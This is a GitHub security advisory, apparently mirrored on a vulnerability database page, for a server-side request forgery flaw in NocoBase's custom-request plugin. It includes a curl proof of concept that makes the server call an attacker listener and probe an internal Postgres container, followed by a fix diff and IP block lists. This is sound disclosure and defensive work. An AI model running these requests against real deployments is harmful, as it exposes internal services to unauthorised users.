GHSA-WRR5-J383-F7H2
Vulnerability from github – Published: 2026-11-10 19:20 – Updated: 2026-11-10 19:20Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
- Product: NocoBase
- Version: v2.1.10
- Component:
@nocobase/plugin-action-custom-request - Severity: Moderate
- Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
- Docker image:
nocobase/nocobase:latest-full - Commit:
23e2bd35625439594e4757bac31d57c9e8e695b9 - Database: PostgreSQL 16
- Containers:
nocobase-lab,nocobase-postgres - Docker network:
172.19.0.0/16 - Important environment variable:
SERVER_REQUEST_WHITELISTwas not set
Details
The vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
- internal service enumeration
- access to services only reachable from the server-side network
- Docker host gateway reachability testing
- reading responses from internal HTTP services when response bodies are returned
- potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
- use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
- attacker-controlled HTTP listener received a request from the NocoBase server
- internal PostgreSQL container
nocobase-postgres:5432was reachable - Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
Recommended Fix
- Restrict
customRequests:sendto administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
-
Do not allow low-privileged users to override stored request URLs at runtime.
-
Require
SERVER_REQUEST_WHITELISTby default in production Docker images. -
Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
-
Resolve DNS and validate the final resolved IP address before making the outbound request.
-
Revalidate the target after redirects.
-
Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-action-custom-request"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-alpha.8"
},
{
"fixed": "2.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-action-custom-request"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0-alpha.1"
},
{
"fixed": "2.2.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-79914"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T19:20:14Z",
"nvd_published_at": "2026-11-10T18:17:48Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.\n\nA low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.\n\n* Product: NocoBase\n* Version: v2.1.10\n* Component: `@nocobase/plugin-action-custom-request`\n* Severity: Moderate\n* Required privilege: authenticated low-privileged user / member\n\nTesting was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.\n\nLab environment:\n\n* Docker image: `nocobase/nocobase:latest-full`\n* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`\n* Database: PostgreSQL 16\n* Containers: `nocobase-lab`, `nocobase-postgres`\n* Docker network: `172.19.0.0/16`\n* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set\n\n---\n\n### Details\n\nThe vulnerable endpoint is:\n\n```http\nPOST /api/customRequests:send?filterByTk=\u003ckey\u003e\n```\n\nThe `customRequests:send` action is allowed for any logged-in user:\n\n```ts\n// plugin-action-custom-request/src/server/plugin.ts\nthis.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027, \u0027listByCurrentRole\u0027], \u0027loggedIn\u0027);\n```\n\nThe request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:\n\n```ts\n// plugin-action-custom-request/src/server/actions/send.ts\nconst mergedOptions = {\n ...(requestConfig.options || {}),\n ...omitNullAndUndefined(runtimeOptions || {}),\n};\n\nconst { url, ...options } = mergedOptions;\n```\n\nThe URL is therefore attacker-controlled when the low-privileged user sends a request body such as:\n\n```json\n{\n \"options\": {\n \"url\": \"http://attacker-controlled-host:18080/ssrf-proof\",\n \"method\": \"GET\"\n }\n}\n```\n\nIf `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:\n\n```ts\n// packages/core/utils/src/server-request.ts\nconst whitelist = process.env.SERVER_REQUEST_WHITELIST;\n\nif (!whitelist || !whitelist.trim()) return;\n```\n\nAs a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.\n\n---\n\n### PoC\n\n#### Step 1: Admin creates a valid Custom Request config\n\nFirst, an administrator creates a valid Custom Request config. This is a setup step only.\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:create\" \\\n -H \"Authorization: Bearer \u003cADMIN_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\n \"key\": \"report-ssrf-demo\",\n \"options\": {\n \"url\": \"https://www.example.com/\",\n \"method\": \"GET\"\n }\n }\u0027\n```\n\nExpected result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nIf the key already exists, this setup step can be skipped.\n\nEvidence:\n\n\u003cimg width=\"1467\" height=\"619\" alt=\"Admin creates Custom Request config\" src=\"https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6\" /\u003e\n\n---\n\n#### Step 2: Start an attacker-controlled HTTP listener\n\nOn the attacker-controlled host in the local lab:\n\n```bash\nmkdir -p /tmp/ssrf-poc\ncd /tmp/ssrf-poc\necho \"SSRF OK - request came from NocoBase server\" \u003e ssrf-proof\npython3 -m http.server 18080 --bind 0.0.0.0\n```\n\nExample attacker host IP in the local lab:\n\n```text\n192.168.1.139\n```\n\nEvidence:\n\n\u003cimg width=\"888\" height=\"195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89\" /\u003e\n\n---\n\n#### Step 3: Low-privileged user triggers SSRF by overriding options.url\n\nThe low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\nKALI_IP=\"192.168.1.139\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \"{\n \\\"options\\\": {\n \\\"url\\\": \\\"http://$KALI_IP:18080/ssrf-proof\\\",\n \\\"method\\\": \\\"GET\\\"\n }\n }\"\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\n\nSSRF OK - request came from NocoBase server\n```\n\nEvidence:\n\n\u003cimg width=\"959\" height=\"570\" alt=\"Low-privileged user triggers SSRF\" src=\"https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77\" /\u003e\n\n---\n\n#### Step 4: Attacker-controlled listener receives the server-side request\n\nThe attacker-controlled HTTP listener receives:\n\n```text\nGET /ssrf-proof HTTP/1.1\n```\n\nThis proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user\u0027s API request.\n\nEvidence:\n\n\u003cimg width=\"744\" height=\"206\" alt=\"Listener receives GET /ssrf-proof\" src=\"https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051\" /\u003e\n\n---\n\n#### Step 5: Internal service reachability test\n\nThe same low-privileged user can target an internal Docker service:\n\n```bash\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n -H \"Authorization: Bearer \u003cLOWPRIV_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\n \"options\": {\n \"url\": \"http://nocobase-postgres:5432/\",\n \"method\": \"GET\"\n }\n }\u0027\n```\n\nObserved response:\n\n```json\n{\"message\":\"socket hang up\"}\n```\n\nThis indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.\n\n---\n\n### Impact\n\nA low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.\n\nPotential impact includes:\n\n* internal service enumeration\n* access to services only reachable from the server-side network\n* Docker host gateway reachability testing\n* reading responses from internal HTTP services when response bodies are returned\n* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked\n* use of the NocoBase server as a trusted network proxy\n\nConfirmed in the local lab:\n\n* attacker-controlled HTTP listener received a request from the NocoBase server\n* internal PostgreSQL container `nocobase-postgres:5432` was reachable\n* Docker host gateway reachability was confirmed\n\nThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.\n\n---\n\n### Recommended Fix\n\n1. Restrict `customRequests:send` to administrators or specifically authorized roles.\n\n```diff\n- this.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027], \u0027loggedIn\u0027);\n+ this.app.acl.allow(\u0027customRequests\u0027, [\u0027send\u0027], \u0027admin\u0027);\n```\n\n2. Do not allow low-privileged users to override stored request URLs at runtime.\n\n3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.\n\n4. Block private/internal IP ranges by default, including:\n\n```text\n127.0.0.0/8\n10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16\n169.254.0.0/16\n::1/128\nfc00::/7\n```\n\n5. Resolve DNS and validate the final resolved IP address before making the outbound request.\n\n6. Revalidate the target after redirects.\n\n7. Add SSRF regression tests for:\n\n```text\nlocalhost\n127.0.0.1\nDocker service names\nprivate IP ranges\nDocker gateway IP\n169.254.169.254\nredirects to private IP ranges\n```",
"id": "GHSA-wrr5-j383-f7h2",
"modified": "2026-11-10T19:20:15Z",
"published": "2026-11-10T19:20:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/8749"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9904"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/1fc226a22d2ec1de1adf1230367c858b4363ec3b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.15"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.2.0-alpha.4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/cve-2026-79914"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.